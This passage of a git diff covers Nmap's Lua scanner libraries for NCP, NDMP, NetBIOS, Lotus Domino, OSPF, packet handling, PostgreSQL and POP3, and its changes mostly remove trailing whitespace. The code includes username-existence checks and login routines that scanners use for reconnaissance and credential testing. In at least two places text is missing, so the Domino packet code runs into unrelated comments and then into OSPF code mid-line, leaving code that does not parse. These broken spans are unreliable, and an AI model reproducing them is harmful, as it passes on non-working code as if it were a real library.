table.insert(output, ("Server name: %s"):format(srv_info.srvname)) table.insert(output, ("Tree Name: %s"):format(ping_info.tree_name)) - table.insert(output, - ("OS Version: %d.%d (rev %d)"):format(srv_info.os_major, + table.insert(output, + ("OS Version: %d.%d (rev %d)"):format(srv_info.os_major, srv_info.os_minor, srv_info.os_rev)) - table.insert(output, + table.insert(output, ("Product version: %d.%d (rev %d)"):format(srv_info.product_major, srv_info.product_minor, srv_info.product_rev)) table.insert(output, ("OS Language ID: %d"):format(srv_info.os_lang_id)) - + local niceaddr = {} for _, addr in ipairs(net_info.addr) do - table.insert(niceaddr, ("%s %d/%s"):format(addr.ip,addr.port, + table.insert(niceaddr, ("%s %d/%s"):format(addr.ip,addr.port, addr.proto)) end - + niceaddr.name = "Addresses" table.insert(output, niceaddr) @@ -1055,15 +1055,15 @@ Helper = { for _, mount in ipairs(mnt_list) do table.insert(mounts, mount.vol_name) end - + mounts.name = "Mounts" table.insert(output, mounts) - + if ( nmap.debugging() > 0 ) then table.insert(output, ("Acct version: %d"):format(srv_info.acct_version)) table.insert(output, ("VAP version: %d"):format(srv_info.vap_version)) table.insert(output, ("QMS version: %d"):format(srv_info.qms_version)) - table.insert(output, + table.insert(output, ("Print server version: %d"):format(srv_info.print_version)) table.insert(output, ("Virtual console version: %d"):format(srv_info.virt_console_ver)) @@ -1074,11 +1074,11 @@ Helper = { end return true, output - end, + end, } Socket = -{ +{ new = function(self) local o = {} setmetatable(o, self) @@ -1087,7 +1087,7 @@ Socket = o.Buffer = nil return o end, - + --- Sets the socket timeout (@see nmap.set_timeout) -- @param tm number containing the socket timeout in ms set_timeout = function(self, tm) self.Socket:set_timeout(tm) end, @@ -1103,7 +1103,7 @@ Socket = self.Socket:set_timeout(5000) return self.Socket:connect( hostid, port, protocol ) end, - + --- Closes an open connection. -- -- @return Status (true or false). @@ -1111,7 +1111,7 @@ Socket = close = function( self ) return self.Socket:close() end, - + --- Opposed to the socket:receive_bytes function, that returns -- at least x bytes, this function returns the amount of bytes requested. -- @@ -1121,9 +1121,9 @@ Socket = -- err containing error message if status is false recv = function( self, count ) local status, data - + self.Buffer = self.Buffer or "" - + if ( #self.Buffer < count ) then status, data = self.Socket:receive_bytes( count - #self.Buffer ) if ( not(status) or #data < count - #self.Buffer ) then @@ -1131,13 +1131,13 @@ Socket = end self.Buffer = self.Buffer .. data end - + data = self.Buffer:sub( 1, count ) self.Buffer = self.Buffer:sub( count + 1) - - return true, data + + return true, data end, - + --- Sends data over the socket -- -- @return Status (true or false). @@ -1148,7 +1148,7 @@ Socket = } --- "static" Utility class containing mostly conversion functions -Util = +Util = { --- Converts a string to a wide string -- @@ -1158,8 +1158,8 @@ Util = ToWideChar = function( str ) return str:gsub("(.)", "%1" .. string.char(0x00) ) end, - - + + --- Concerts a wide string to string -- -- @param wstr containing the wide string to convert @@ -1181,27 +1181,27 @@ Util = for i=1, len - str:len() do str = str .. string.char(0) end return str end, - + -- Removes trailing nulls -- -- @param str containing the string -- @return ret the string with any trailing nulls removed CToLuaString = function( str ) local ret - + if ( not(str) ) then return "" end if ( str:sub(-1, -1 ) ~= "\0" ) then return str end for i=1, #str do - if ( str:sub(-i,-i) == "\0" ) then - ret = str:sub(1, -i - 1) + if ( str:sub(-i,-i) == "\0" ) then + ret = str:sub(1, -i - 1) else break end end return ret end, - + } return _ENV; diff --git a/nselib/ndmp.lua b/nselib/ndmp.lua index 2aa595cd1..be9a95161 100644 --- a/nselib/ndmp.lua +++ b/nselib/ndmp.lua @@ -14,7 +14,7 @@ local table = require "table" _ENV = stdnse.module("ndmp", stdnse.seeall) NDMP = { - + -- Message types MessageType = { CONFIG_GET_HOST_INFO = 0x00000100, @@ -23,24 +23,24 @@ NDMP = { CONFIG_GET_SERVER_INFO = 0x00000108, CONNECT_CLIENT_AUTH = 0x00000901, }, - + -- The fragment header, 4 bytes where the highest bit is used to determine - -- whether the fragment is the last or not. + -- whether the fragment is the last or not. FragmentHeader = { size = 4, - + -- Creates a new instance of fragment header -- @return o instance of Class new = function(self) - local o = { + local o = { last = true, length = 24, } setmetatable(o, self) self.__index = self - return o + return o end, - + -- Parse data stream and create a new instance of this class -- @param data opaque string -- @return fh new instance of FragmentHeader class @@ -51,7 +51,7 @@ NDMP = { fh.last= bit.rshift(tmp, 31) return fh end, - + -- Serializes the instance to an opaque string -- @return str string containing the serialized class __tostring = function(self) @@ -62,9 +62,9 @@ NDMP = { tmp = tmp + self.length return bin.pack(">I", tmp) end, - + }, - + -- The ndmp 24 byte header Header = { size = 24, @@ -72,7 +72,7 @@ NDMP = { -- creates a new instance of Header -- @return o instance of Header new = function(self) - local o = { + local o = { seq = 0, time = os.time(), type = 0, @@ -82,9 +82,9 @@ NDMP = { } setmetatable(o, self) self.__index = self - return o + return o end, - + -- Create a Header instance from opaque data string -- @param data opaque string -- @return hdr new instance of Header @@ -94,16 +94,16 @@ NDMP = { pos, hdr.seq, hdr.time, hdr.type, hdr.msg, hdr.reply_seq, hdr.error = bin.unpack(">IIIIII", data) return hdr end, - + -- Serializes the instance to an opaque string -- @return str string containing the serialized class instance __tostring = function(self) return bin.pack(">IIIIII", self.seq, self.time, self.type, self.msg, self.reply_seq, self.error) end, - + }, } - + NDMP.Message = {} NDMP.Message.ConfigGetServerInfo = { @@ -119,9 +119,9 @@ NDMP.Message.ConfigGetServerInfo = { o.header.msg = NDMP.MessageType.CONFIG_GET_SERVER_INFO setmetatable(o, self) self.__index = self - return o + return o end, - + -- Create a ConfigGetServerInfo instance from opaque data string -- @param data opaque string -- @return msg new instance of ConfigGetServerInfo @@ -131,7 +131,7 @@ NDMP.Message.ConfigGetServerInfo = { data = data:sub(NDMP.FragmentHeader.size + 1) msg.header = NDMP.Header.parse(data) msg.data = data:sub(NDMP.Header.size + 1) - + msg.serverinfo = {} local pos, err = bin.unpack(">I", msg.data) pos, msg.serverinfo.vendor = Util.parseString(msg.data, pos) @@ -144,7 +144,7 @@ NDMP.Message.ConfigGetServerInfo = { -- @return str string containing the serialized class instance __tostring = function(self) return tostring(self.frag_header) .. tostring(self.header) .. tostring(self.data or "") - end, + end, } @@ -158,7 +158,7 @@ NDMP.Message.ConfigGetHostInfo = { o.header.msg = NDMP.MessageType.CONFIG_GET_HOST_INFO setmetatable(o, self) self.__index = self - return o + return o end, parse = function(data) @@ -167,19 +167,19 @@ NDMP.Message.ConfigGetHostInfo = { data = data:sub(NDMP.FragmentHeader.size + 1) msg.header = NDMP.Header.parse(data) msg.data = data:sub(NDMP.Header.size + 1) - + msg.hostinfo = {} local pos, err = bin.unpack(">I", msg.data) pos, msg.hostinfo.hostname = Util.parseString(msg.data, pos) pos, msg.hostinfo.ostype = Util.parseString(msg.data, pos) pos, msg.hostinfo.osver = Util.parseString(msg.data, pos) - pos, msg.hostinfo.hostid = Util.parseString(msg.data, pos) + pos, msg.hostinfo.hostid = Util.parseString(msg.data, pos) return msg end, - + __tostring = function(self) return tostring(self.frag_header) .. tostring(self.header) .. tostring(self.data or "") - end, + end, } NDMP.Message.ConfigGetFsInfo = { @@ -194,16 +194,16 @@ NDMP.Message.ConfigGetFsInfo = { o.header.msg = NDMP.MessageType.CONFIG_GET_FS_INFO setmetatable(o, self) self.__index = self - return o + return o end, - + parse = function(data) local msg = NDMP.Message.ConfigGetFsInfo:new() msg.frag_header = NDMP.FragmentHeader.parse(data) data = data:sub(NDMP.FragmentHeader.size + 1) msg.header = NDMP.Header.parse(data) msg.data = data:sub(NDMP.Header.size + 1) - + local pos, err, count = bin.unpack(">II", msg.data) for i=1, count do local item = {} @@ -217,19 +217,19 @@ NDMP.Message.ConfigGetFsInfo = { pos, item.total_inodes = bin.unpack(">L", msg.data, pos) pos, item.used_inodes = bin.unpack(">L", msg.data, pos) pos, item.fs_env = Util.parseString(msg.data, pos) - pos, item.fs_status = Util.parseString(msg.data, pos) + pos, item.fs_status = Util.parseString(msg.data, pos) table.insert(msg.fsinfo, item) end return msg end, - + __tostring = function(self) return tostring(self.frag_header) .. tostring(self.header) .. tostring(self.data or "") - end, + end, } NDMP.Message.UnhandledMessage = { - + new = function(self) local o = { frag_header = NDMP.FragmentHeader:new(), @@ -238,9 +238,9 @@ NDMP.Message.UnhandledMessage = { } setmetatable(o, self) self.__index = self - return o + return o end, - + parse = function(data) local msg = NDMP.Message.ConfigGetFsInfo:new() msg.frag_header = NDMP.FragmentHeader.parse(data) @@ -249,22 +249,22 @@ NDMP.Message.UnhandledMessage = { msg.data = data:sub(NDMP.Header.size + 1) return msg end, - + __tostring = function(self) return tostring(self.frag_header) .. tostring(self.header) .. tostring(self.data or "") end - + } Util = { - + parseString = function(data, pos) local pos, str = bin.unpack(">a", data, pos) local pad = ( 4 - ( #str % 4 ) ~= 4 ) and 4 - ( #str % 4 ) or 0 return pos + pad, str - + end, - + } NDMP.TypeToMessage = { @@ -275,7 +275,7 @@ NDMP.TypeToMessage = { -- Handles the communication with the NDMP service Comm = { - + -- Creates new Comm instance -- @param host table as received by the action method -- @param port table as receuved by the action method @@ -290,9 +290,9 @@ Comm = { } setmetatable(o, self) self.__index = self - return o + return o end, - + -- Connects to the NDMP server -- @return status true on success, false on failure connect = function(self) @@ -300,11 +300,11 @@ Comm = { self.socket:set_timeout(10000) return self.socket:connect(self.host, self.port) end, - + -- Receives a message from the server -- @return status true on success, false on failure -- @return msg NDMP message when a parser exists, otherwise nil - sock_recv = function(self) + sock_recv = function(self) local status, frag_data = self.socket:receive_buf(match.numbytes(4), true) if ( not(status) ) then return false, "Failed to read NDMP 4-byte fragment header" @@ -321,20 +321,20 @@ Comm = { if ( not(status) ) then return false, "Failed to read NDMP data" end - + if ( NDMP.TypeToMessage[header.msg] ) then return true, NDMP.TypeToMessage[header.msg].parse(frag_data .. header_data .. data) end return true, NDMP.Message.UnhandledMessage.parse(frag_data .. header_data .. data) end, - + recv = function(self) if ( #self.in_queue > 0 ) then return true, table.remove(self.in_queue, 1) end return self:sock_recv() end, - + -- Sends a message to the server -- @param msg NDMP message -- @return status true on success, false on failure @@ -344,8 +344,8 @@ Comm = { msg.header.seq = self.seq return self.socket:send(tostring(msg)) end, - - + + exch = function(self, msg) local status, err = self:send(msg) if ( not(status) ) then @@ -363,50 +363,50 @@ Comm = { local reply status, reply = self:sock_recv() if ( not(status) ) then - return false, "Failed to receive msg from server" + return false, "Failed to receive msg from server" elseif ( reply and reply.header and reply.header.reply_seq == s_seq ) then return true, reply else table.insert(self.in_queue, reply) end - end + end end, - + close = function(self) return self.socket:close() end, - + } Helper = { - + new = function(self, host, port) local o = { comm = Comm:new(host, port) } setmetatable(o, self) self.__index = self - return o + return o end, - + connect = function(self) return self.comm:connect() end, - + getFsInfo = function(self) return self.comm:exch(NDMP.Message.ConfigGetFsInfo:new()) end, - + getHostInfo = function(self) return self.comm:exch(NDMP.Message.ConfigGetHostInfo:new()) end, - + getServerInfo = function(self) return self.comm:exch(NDMP.Message.ConfigGetServerInfo:new()) end, - + close = function(self) return self.comm:close() - + end - + } return _ENV; diff --git a/nselib/netbios.lua b/nselib/netbios.lua index d2783877f..0412d58a2 100644 --- a/nselib/netbios.lua +++ b/nselib/netbios.lua @@ -1,6 +1,6 @@ --- -- Creates and parses NetBIOS traffic. The primary use for this is to send --- NetBIOS name requests. +-- NetBIOS name requests. -- -- @author Ron Bowes -- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html @@ -27,15 +27,15 @@ types = { -- pass case-sensitive data in a case-insensitive way) -- -- There are two levels of encoding performed: --- * L1: Pad the string to 16 characters withs spaces (or NULLs if it's the +-- * L1: Pad the string to 16 characters withs spaces (or NULLs if it's the -- wildcard "*") and replace each byte with two bytes representing each --- of its nibbles, plus 0x41. +-- of its nibbles, plus 0x41. -- * L2: Prepend the length to the string, and to each substring in the scope --- (separated by periods). ---@param name The name that will be encoded (eg. "TEST1"). +-- (separated by periods). +--@param name The name that will be encoded (eg. "TEST1"). --@param scope [optional] The scope to encode it with. I've never seen scopes used --- in the real world (eg, "insecure.org"). ---@return The L2-encoded name and scope +-- in the real world (eg, "insecure.org"). +--@return The L2-encoded name and scope -- (eg. "\x20FEEFFDFEDBCACACACACACACACACAAA\x08insecure\x03org") function name_encode(name, scope) @@ -65,7 +65,7 @@ function name_encode(name, scope) L1_encoded = L1_encoded .. string.char(bit.rshift(bit.band(b, 0x0F), 0) + 0x41) end - -- Do the L2 encoding + -- Do the L2 encoding local L2_encoded = string.char(32) .. L1_encoded if scope ~= nil then @@ -84,7 +84,7 @@ end --- Does the exact opposite of name_encode. Converts an encoded name to -- the string representation. If the encoding is invalid, it will still attempt --- to decode the string as best as possible. +-- to decode the string as best as possible. --@param encoded_name The L2-encoded name --@return the decoded name and the scope. The name will still be padded, and the -- scope will never be nil (empty string is returned if no scope is present) @@ -124,11 +124,11 @@ function name_decode(encoded_name) end --- Sends out a UDP probe on port 137 to get a human-readable list of names the --- the system is using. ---@param host The IP or hostname to check. ---@param prefix [optional] The prefix to put on each line when it's returned. ---@return (status, result) If status is true, the result is a human-readable --- list of names. Otherwise, result is an error message. +-- the system is using. +--@param host The IP or hostname to check. +--@param prefix [optional] The prefix to put on each line when it's returned. +--@return (status, result) If status is true, the result is a human-readable +-- list of names. Otherwise, result is an error message. function get_names(host, prefix) local status, names, statistics = do_nbstat(host) @@ -151,11 +151,11 @@ function get_names(host, prefix) end --- Sends out a UDP probe on port 137 to get the server's name (that is, the --- entry in its NBSTAT table with a 0x20 suffix). ---@param host The IP or hostname of the server. ---@param names [optional] The names to use, from do_nbstat. ---@return (status, result) If status is true, the result is the NetBIOS name. --- otherwise, result is an error message. +-- entry in its NBSTAT table with a 0x20 suffix). +--@param host The IP or hostname of the server. +--@param names [optional] The names to use, from do_nbstat. +--@return (status, result) If status is true, the result is the NetBIOS name. +-- otherwise, result is an error message. function get_server_name(host, names) local status @@ -163,7 +163,7 @@ function get_server_name(host, names) if names == nil then status, names = do_nbstat(host) - + if(status == false) then return false, names end @@ -178,13 +178,13 @@ function get_server_name(host, names) return false, "Couldn't find NetBIOS server name" end ---- Sends out a UDP probe on port 137 to get the user's name (that is, the +--- Sends out a UDP probe on port 137 to get the user's name (that is, the -- entry in its NBSTAT table with a 0x03 suffix, that isn't the same as -- the server's name. If the username can't be determined, which is frequently --- the case, nil is returned. ---@param host The IP or hostname of the server. ---@param names [optional] The names to use, from do_nbstat. ---@return (status, result) If status is true, the result is the NetBIOS name or nil. +-- the case, nil is returned. +--@param host The IP or hostname of the server. +--@param names [optional] The names to use, from do_nbstat. +--@return (status, result) If status is true, the result is the NetBIOS name or nil. -- otherwise, result is an error message. function get_user_name(host, names) @@ -196,7 +196,7 @@ function get_user_name(host, names) if(names == nil) then status, names = do_nbstat(host) - + if(status == false) then return false, names end @@ -207,15 +207,15 @@ function get_user_name(host, names) return true, names[i]['name'] end end - + return true, nil - + end --- This is the function that actually handles the UDP query to retrieve -- the NBSTAT information. We make use of the Nmap registry here, so if another --- script has already performed a nbstat query, the result can be re-used. +-- script has already performed a nbstat query, the result can be re-used. -- -- The NetBIOS request's header looks like this: -- @@ -231,7 +231,7 @@ end -- -- -- In this case, the TRN_ID is a constant (0x1337, what else?), the flags --- are 0, and we have one question. All fields are network byte order. +-- are 0, and we have one question. All fields are network byte order. -- -- The body of the packet is a list of names to check for in the following -- format: @@ -254,10 +254,10 @@ end -- * (2 bytes) flags -- * (variable) statistics (usually mac address) -- ---@param host The IP or hostname of the system. +--@param host The IP or hostname of the system. --@return (status, names, statistics) If status is true, then the servers names are --- returned as a table containing 'name', 'suffix', and 'flags'. --- Otherwise, names is an error message and statistics is undefined. +-- returned as a table containing 'name', 'suffix', and 'flags'. +-- Otherwise, names is an error message and statistics is undefined. function do_nbstat(host) local status, err @@ -288,7 +288,7 @@ function do_nbstat(host) end -- Create the query header - local query = bin.pack(">SSSSSS", + local query = bin.pack(">SSSSSS", 0x1337, -- Transaction id 0x0000, -- Flags 1, -- Questions @@ -297,7 +297,7 @@ function do_nbstat(host) 0 -- Extra ) - query = query .. bin.pack(">zSS", + query = query .. bin.pack(">zSS", encoded_name, -- Encoded name 0x0021, -- Query type (0x21 = NBSTAT) 0x0001 -- Class = IN @@ -364,8 +364,8 @@ function do_nbstat(host) for i = 1, name_count do local name, suffix, flags - -- Instead of reading the 16-byte name and pulling off the suffix, - -- we read the first 15 bytes and then the 1-byte suffix. + -- Instead of reading the 16-byte name and pulling off the suffix, + -- we read the first 15 bytes and then the 1-byte suffix. pos, name, suffix, flags = bin.unpack(">A15CS", result, pos) name = string.gsub(name, "[ ]*$", "") @@ -403,14 +403,14 @@ function nbquery(host, nbname, options) options.host = host.ip options.flags = options.flags or ( options.multiple and 0x0110 ) options.id = math.random(0xFFFF) - + -- encode and chop off the leading byte, as the dns library takes care of -- specifying the length local encoded_name = name_encode(nbname):sub(2) local status, response = dns.query( encoded_name, options ) if ( not(status) ) then return false, "ERROR: nbquery failed" end - + local results = {} -- discard any additional responses if ( options.multiple and #response > 0 ) then @@ -426,10 +426,10 @@ function nbquery(host, nbname, options) else local dname = string.char(#response.answers[1].dname) .. response.answers[1].dname return true, { { peer = host.ip, name = name_decode(dname) } } - end + end end ----Convert the 16-bit flags field to a string. +---Convert the 16-bit flags field to a string. --@param flags The 16-bit flags field --@return A string representing the flags function flags_to_string(flags) diff --git a/nselib/nrpc.lua b/nselib/nrpc.lua index 8eb963d10..fb519cee6 100644 --- a/nselib/nrpc.lua +++ b/nselib/nrpc.lua @@ -17,7 +17,7 @@ -- - A helper class that provides easy access to the rest of the library -- -- o DominoSocket --- - This is a copy of the DB2Socket class which provides fundamental +-- - This is a copy of the DB2Socket class which provides fundamental -- buffering -- -- @@ -50,11 +50,11 @@ _ENV = stdnse.module("nrpc", stdnse.seeall) -- The Domino Packet DominoPacket = { - + --- Creates a new DominoPacket instance -- -- @param data string containing the packet data - -- @return a new DominoPacket instance + -- @return a new DominoPacket instance new = function( self, data ) local o = {} setmetatable(o, self) @@ -62,7 +62,7 @@ DominoPacket = { o.data = data return o end, - + --- Reads a packet from the DominoSocket -- -- @param domsock DominoSocket connected to the server @@ -79,12 +79,12 @@ DominoPacket = { __tostring = function(self) return bin.pack("socket:receive_bytes function, that returns -- at least x bytes, this function returns the amount of bytes requested. -- @@ -123,9 +123,9 @@ DominoSocket = -- err containing error message if status is false recv = function( self, count ) local status, data - + self.Buffer = self.Buffer or "" - + if ( #self.Buffer < count ) then status, data = self.Socket:receive_bytes( count - #self.Buffer ) if ( not(status) or #data < count - #self.Buffer ) then @@ -133,13 +133,13 @@ DominoSocket = end self.Buffer = self.Buffer .. data end - + data = self.Buffer:sub( 1, count ) self.Buffer = self.Buffer:sub( count + 1) - - return true, data + + return true, data end, - + --- Sends data over the socket -- -- @return Status (true or false). @@ -150,7 +150,7 @@ DominoSocket = } Helper = { - + --- Creates a new Helper instance -- -- @param host table as recieved by the script action method @@ -169,13 +169,13 @@ Helper = { -- -- @return status true on success, false on failure -- @return err error message if status is false - connect = function( self ) + connect = function( self ) if( not( self.domsock:connect( self.host.ip, self.port.number, "tcp" ) ) ) then return false, ("ERROR: Failed to connect to Domino server %s:%d\n"):format(self.host, self.port) end return true end, - + --- Disconnects from the Lotus Domino Server -- -- @return status true on success, false on failure @@ -190,14 +190,14 @@ Helper = { -- @return status true on success false on failure -- @return domino_id if it exists and status is true -- err if status is false - isValidUser = function( self, username ) + isValidUser = function( self, username ) local data = bin.pack("H", "00001e00000001000080000007320000700104020000fb2b2d00281f1e000000124c010000000000") local status, id_data local data_len, pos, total_len, pkt_type, valid_user - + self.domsock:send( tostring(DominoPacket:new( data )) ) data = DominoPacket:new():read( self.domsock ) - + data = bin.pack("HCHAH", "0100320002004f000100000500000900", #username + 1, "000000000000000000000000000000000028245573657273290000", username, "00") self.domsock:send( tostring(DominoPacket:new( data ) ) ) status, id_data = DominoPacket:new():read( self.domsock ) @@ -205,7 +205,7 @@ Helper = { pos, pkt_type = bin.unpack("C", id_data, 3) pos, valid_user = bin.unpack("C", id_data, 11) pos, total_len = bin.unpack("SCCI", self.mtu, self.options, flags, self.sequence) + local data = bin.pack(">SCCI", self.mtu, self.options, flags, self.sequence) self.header:setLength(#data) return tostring(self.header) .. data end @@ -276,7 +276,7 @@ OSPF = { return desc end - return desc + return desc end, }, @@ -291,9 +291,9 @@ OSPF = { return OSPF.DBDescription.parse(data) end return - end, + end, - } + } } return _ENV; diff --git a/nselib/packet.lua b/nselib/packet.lua index 68e5aa014..b00c43279 100644 --- a/nselib/packet.lua +++ b/nselib/packet.lua @@ -625,14 +625,14 @@ function Packet:u32(index) return u32(self.buf, index) end --- Return part of the packet contents as a byte string. --- @param index The beginning of the part of the packet to extract. The index +-- @param index The beginning of the part of the packet to extract. The index -- is 0-based. If omitted the default value is 0 (begining of the string) --- @param length The length of the part of the packet to extract. If omitted +-- @param length The length of the part of the packet to extract. If omitted -- the remaining contents from index to the end of the string are returned. -- @return A string. function Packet:raw(index, length) if not index then index = 0 end - if not length then length = #self.buf-index end + if not length then length = #self.buf-index end return string.char(string.byte(self.buf, index+1, index+1+length-1)) end @@ -753,7 +753,7 @@ end -- @param id packet ID. function Packet:ip_set_id(id) self:set_u16(self.ip_offset + 4, id) - self.ip_id = id + self.ip_id = id end --- Set the TTL. -- @param ttl TTL. @@ -1125,7 +1125,7 @@ function Packet:udp_parse(force_continue) end self.udp_len = self:u16(self.udp_offset + 4) self.udp_sum = self:u16(self.udp_offset + 6) - + return true end diff --git a/nselib/pgsql.lua b/nselib/pgsql.lua index 2873f731e..ac6181755 100644 --- a/nselib/pgsql.lua +++ b/nselib/pgsql.lua @@ -21,8 +21,8 @@ local table = require "table" _ENV = stdnse.module("pgsql", stdnse.seeall) -- Version 0.3 --- Created 02/05/2010 - v0.1 - created by Patrik Karlsson --- Revised 02/20/2010 - v0.2 - added detectVersion to automaticaly detect and return +-- Created 02/05/2010 - v0.1 - created by Patrik Karlsson +-- Revised 02/20/2010 - v0.2 - added detectVersion to automaticaly detect and return -- the correct version class -- Revised 03/04/2010 - v0.3 - added support for trust authentication method @@ -46,7 +46,7 @@ AuthenticationType = { -- Version 2 of the protocol v2 = { - + --- Pad a string with zeroes -- -- @param str string containing the string to be padded @@ -63,9 +63,9 @@ v2 = end return str end, - + messageDecoder = { - + --- Decodes an Auth Request packet -- -- @param data string containing raw data recieved from socket @@ -105,7 +105,7 @@ v2 = -- @param pos number containing the offset into the data buffer -- @return pos number containing the offset after decoding -- @return response table containing zero or more of the following error.severity, - -- error.code, error.message, error.file, + -- error.code, error.message, error.file, -- error.line and error.routine [MessageType.Error] = function( data, len, pos ) local tmp = data:sub(pos, pos + len - 4) @@ -143,8 +143,8 @@ v2 = end return -1, "Decoding failed" end, - - + + --- Reads a packet and handles additional socket reads to retrieve remaining data -- -- @param socket socket already connected to the pgsql server @@ -159,7 +159,7 @@ v2 = local tmp = "" local ptype, len - local catch = function() socket:close() stdnse.print_debug("processResponse(): failed") end + local catch = function() socket:close() stdnse.print_debug("processResponse(): failed") end local try = nmap.new_try(catch) if ( data == nil or data:len() == 0 ) then @@ -167,7 +167,7 @@ v2 = end return data end, - + --- Sends a startup message to the server containing the username and database to connect to -- -- @param socket socket already connected to the pgsql server @@ -204,9 +204,9 @@ v2 = return true, response end, - + --- Attempts to authenticate to the pgsql server - -- Supports plain-text and MD5 authentication + -- Supports plain-text and MD5 authentication -- -- @param socket socket already connected to the pgsql server -- @param params table containing any additional parameters authtype, version @@ -215,10 +215,10 @@ v2 = -- @param salt string containing the crypthographic salt value -- @return status true on success, false on failure -- @return result table containing parameter status information, - -- result string containing an error message if login fails + -- result string containing an error message if login fails loginRequest = function ( socket, params, username, password, salt ) - local catch = function() socket:close() stdnse.print_debug("loginRequest(): failed") end + local catch = function() socket:close() stdnse.print_debug("loginRequest(): failed") end local try = nmap.new_try(catch) local response = {} local status, data, len, pos, tmp @@ -251,7 +251,7 @@ v2 = return true, response end, - + } -- Version 3 of the protocol @@ -313,7 +313,7 @@ v3 = -- @param pos number containing the offset into the data buffer -- @return pos number containing the offset after decoding -- @return response table containing zero or more of the following error.severity, - -- error.code, error.message, error.file, + -- error.code, error.message, error.file, -- error.line and error.routine [MessageType.Error] = function( data, len, pos ) local tmp = data:sub(pos, pos + len - 4) @@ -353,7 +353,7 @@ v3 = -- error string containing error message if pos is -1 [MessageType.BackendKeyData] = function( data, len, pos ) local response = {} - + if len ~= 12 then return -1, "ERROR: Invalid BackendKeyData packet" end @@ -376,12 +376,12 @@ v3 = if len ~= 5 then return -1, "ERROR: Invalid ReadyForQuery packet" end - + pos, response.status = bin.unpack("C", data, pos ) return pos, response end, }, - + --- Reads a packet and handles additional socket reads to retrieve remaining data -- -- @param socket socket already connected to the pgsql server @@ -397,7 +397,7 @@ v3 = local ptype, len local header - local catch = function() socket:close() stdnse.print_debug("processResponse(): failed") end + local catch = function() socket:close() stdnse.print_debug("processResponse(): failed") end local try = nmap.new_try(catch) if ( data:len() - pos < 5 ) then @@ -419,7 +419,7 @@ v3 = end return data end, - + --- Decodes the postgres header -- -- @param data string containing the server response @@ -428,11 +428,11 @@ v3 = -- @return header table containing type and len decodeHeader = function(data, pos) local ptype, len - + pos, ptype, len = bin.unpack("C>I", data, pos) return pos, { ['type'] = ptype, ['len'] = len } end, - + --- Process the server response -- -- @param data string containing the server response @@ -444,7 +444,7 @@ v3 = local ptype, len, status, response local pos = pos or 1 local header - + pos, header = v3.decodeHeader( data, pos ) if v3.messageDecoder[header.type] then @@ -460,9 +460,9 @@ v3 = end return -1, "Decoding failed" end, - + --- Attempts to authenticate to the pgsql server - -- Supports plain-text and MD5 authentication + -- Supports plain-text and MD5 authentication -- -- @param socket socket already connected to the pgsql server -- @param params table containing any additional parameters authtype, version @@ -471,10 +471,10 @@ v3 = -- @param salt string containing the crypthographic salt value -- @return status true on success, false on failure -- @return result table containing parameter status information, - -- result string containing an error message if login fails + -- result string containing an error message if login fails loginRequest = function ( socket, params, username, password, salt ) - local catch = function() socket:close() stdnse.print_debug("loginRequest(): failed") end + local catch = function() socket:close() stdnse.print_debug("loginRequest(): failed") end local try = nmap.new_try(catch) local response, header = {}, {} local status, data, len, tmp, _ @@ -516,7 +516,7 @@ v3 = return true, response end, - + --- Sends a startup message to the server containing the username and database to connect to -- -- @param socket socket already connected to the pgsql server @@ -541,7 +541,7 @@ v3 = if ( not(status) ) then return false, "sendStartup failed" end - + if ( not(status) or data:match("^EF") ) then return false, "Incorrect version" end @@ -559,7 +559,7 @@ v3 = --- Sends a packet requesting SSL communication to be activated --- +-- -- @param socket socket already connected to the pgsql server -- @return boolean true if request was accepted, false if request was denied function requestSSL(socket) @@ -567,14 +567,14 @@ function requestSSL(socket) local ssl_req_code = 80877103 local data = bin.pack( ">I>I", 8, ssl_req_code) local status, response - + socket:send(data) status, response = socket:receive_bytes(1) - + if ( not(status) ) then return false end - + if ( response == 'S' ) then return true end @@ -617,11 +617,11 @@ function detectVersion(host, port) socket:connect(host, port) status, response = v3.sendStartup(socket, "versionprobe", "versionprobe") socket:close() - - if ( not(status) and response == 'Incorrect version' ) then + + if ( not(status) and response == 'Incorrect version' ) then return v2 end - + return v3 end diff --git a/nselib/pop3.lua b/nselib/pop3.lua index 1f45fa3af..982272641 100644 --- a/nselib/pop3.lua +++ b/nselib/pop3.lua @@ -44,10 +44,10 @@ function login_user(socket, user, pw) local status, line = socket:receive_lines(1) if not stat(line) then return false, err.user_error end socket:send("PASS " .. pw .. "\r\n") - + status, line = socket:receive_lines(1) - - if stat(line) then return true, err.none + + if stat(line) then return true, err.none else return false, err.pwError end end @@ -61,15 +61,15 @@ end -- @return Status (true or false). -- @return Error code if status is false. function login_sasl_plain(socket, user, pw) - + local auth64 = base64.enc(user .. "\0" .. user .. "\0" .. pw) socket:send("AUTH PLAIN " .. auth64 .. "\r\n") - + local status, line = socket:receive_lines(1) - - if stat(line) then + + if stat(line) then return true, err.none - else + else return false, err.pwError end end @@ -84,28 +84,28 @@ end function login_sasl_login(socket, user, pw) local user64 = base64.enc(user) - + local pw64 = base64.enc(pw) socket:send("AUTH LOGIN\r\n") - + local status, line = socket:receive_lines(1) - if not base64.dec(string.sub(line, 3)) == "User Name:" then - return false, err.userError + if not base64.dec(string.sub(line, 3)) == "User Name:" then + return false, err.userError end socket:send(user64) - + local status, line = socket:receive_lines(1) - if not base64.dec(string.sub(line, 3)) == "Password:" then + if not base64.dec(string.sub(line, 3)) == "Password:" then return false, err.userError end socket:send(pw64) - + local status, line = socket:receive_lines(1) - + if stat(line) then return true, err.none else @@ -126,10 +126,10 @@ function login_apop(socket, user, pw, challenge) local apStr = stdnse.tohex(openssl.md5(challenge .. pw)) socket:send(("APOP %s %s\r\n"):format(user, apStr)) - + local status, line = socket:receive_lines(1) - - if (stat(line)) then + + if (stat(line)) then return true, err.none else return false, err.pwError @@ -153,17 +153,17 @@ function capabilities(host, port) if not stat(first_line) then return nil, "No Response" end - + local capas = {} if string.find(first_line, "<[%p%w]+>") then capas.APOP = {} end - + local status = socket:send("CAPA\r\n") if( not(status) ) then return nil, "Failed to send" end - + status, line = socket:receive_buf("%.", false) if( not(status) ) then return nil, "Failed to receive" @@ -171,11 +171,11 @@ function capabilities(host, port) socket:close() local lines = stdnse.strsplit("\r\n",line) - if not stat(table.remove(lines,1)) then + if not stat(table.remove(lines,1)) then capas.capa = false return capas - end - + end + for _, line in ipairs(lines) do if ( line and #line>0 ) then local capability = line:sub(line:find("[%w-]+")) @@ -187,7 +187,7 @@ function capabilities(host, port) end end end - + return capas end @@ -201,20 +201,20 @@ end function login_sasl_crammd5(socket, user, pw) socket:send("AUTH CRAM-MD5\r\n") - + local status, line = socket:receive_lines(1) - + local challenge = 